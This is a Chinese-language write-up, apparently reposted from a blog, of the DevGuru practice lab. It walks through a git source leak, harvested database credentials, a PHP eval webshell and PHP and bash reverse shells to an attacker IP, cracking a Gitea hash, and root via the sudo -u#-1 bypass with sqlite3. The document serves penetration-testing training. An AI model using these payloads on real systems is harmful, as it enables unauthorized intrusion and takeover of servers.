devguru
作者:互联网
描述
DevGuru是一家虚构的Web开发公司,它聘请您进行渗透测试。您的任务是在他们的公司网站上查找漏洞并获得根。
就像OSCP一样〜现实生活为基础
难度:中级(取决于经验)
目录
一、信息搜集
1.nmap端口扫描:
2.dirsearch目录扫描:
python3 dirsearch.py -u http://192.168.155.133/ -e php
http: //192.168.155.133:8585
http: //192.168.155.133/.git/
http: //192.168.155.133/adminer.php
http: //192.168.155.133/backend/backend/auth
二、漏洞探测&利用
1 . GitHack.py
查看数据库配置文件。/config/database.php
'username' => 'october'
'password' => 'SQ66EBYx4GT3byXH'
访问http: //192.168.155.133/adminer.php ,登入
新建一个用户,并提到管理员。
将aaa用户设置成管理员组
2.登入cms后台
账号密码:aaa/123456
http: //192.168.155.133/backend/backend/auth
然后查资料知道后台是可以自定义模板文件的,那就是说我们可以往里写入PHP代码。(低权限shell)
1)写入一句话木马。
写入代码:
function onStart(){
//蚁剑连接
eval($_REQUEST[999]);
}
2)或者反弹shell
写入代码:
function onStart(){
//nc监听4444端口
$s=fsockopen("192.168.155.134",4444);
$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}
ncat -lvp 4444
3.获取gitea数据库密码
gitea/UfFPTF8C8jjxVF2m
登入数据库后,查看表信息。
需要改个密码。
1)在github 找到加密方式(大佬方式)
https://github.com/go-gitea/gitea/blob/master/models/user.go
python脚本解密:
https://blog.csdn.net/qq_42486920/article/details/80836749
importhashlib
importbinascii
password=b"password"
salt=b"Bop8nwtUiM"
dk=hashlib.pbkdf2_hmac("sha256",password,salt,10000,dklen=50)
print(binascii.hexlify(dk))
得到:8c1081ea93e4803d6aa627fca52970b8bb06c35e7fa2c47e1eae3e4f5e6c9515dfaf13d62292547583aef0ee683f92e71c40
明文为:password
2)在gethub上找到默认密码
搜索加密关键词:passwd_hash_algo
4.shell(更高权限)
登入getea:http://192.168.155.133:8585/
账号密码:frank/password
bash -c "exec bash -i >& /dev/tcp/192.168.155.134/5555 0>&1"
ncat -lvvp 5555
之后点击 README.md 添加点东西
三、提权
得到shell后,输入 sudo -l
使用 sqlite3 提权
并得到flag
在 https://gtfobins.github.io/ 上查询linux下关于sqlite3的提权漏洞
用户使用sudo时会要求输入密码,这个无解。
查看sudo版本,搜索 Sudo version 1.8.21p2
sudo -u#-1
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
四、总结
- GitHack.py 源码泄露 http: //192.168.155.133/.git/
- 数据库后台查看用户密码被加密时,可修改已知为密码,注意盐值。或添加一个管理员账号。
- OctoberCms 后台是可以自定义模板文件的,可以写入php代码。
- getea 上代码提交后通过webhook 写shell
- 查询linux下关于sqlite3的提权 https://gtfobins.github.io/
- sudo低版本漏洞sudo -u#-1
- sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
- git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)=> gtea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。
标签:shell,http,gitea,155.133,192.168,devguru,登入 来源: https://blog.csdn.net/weixin_45922278/article/details/113786760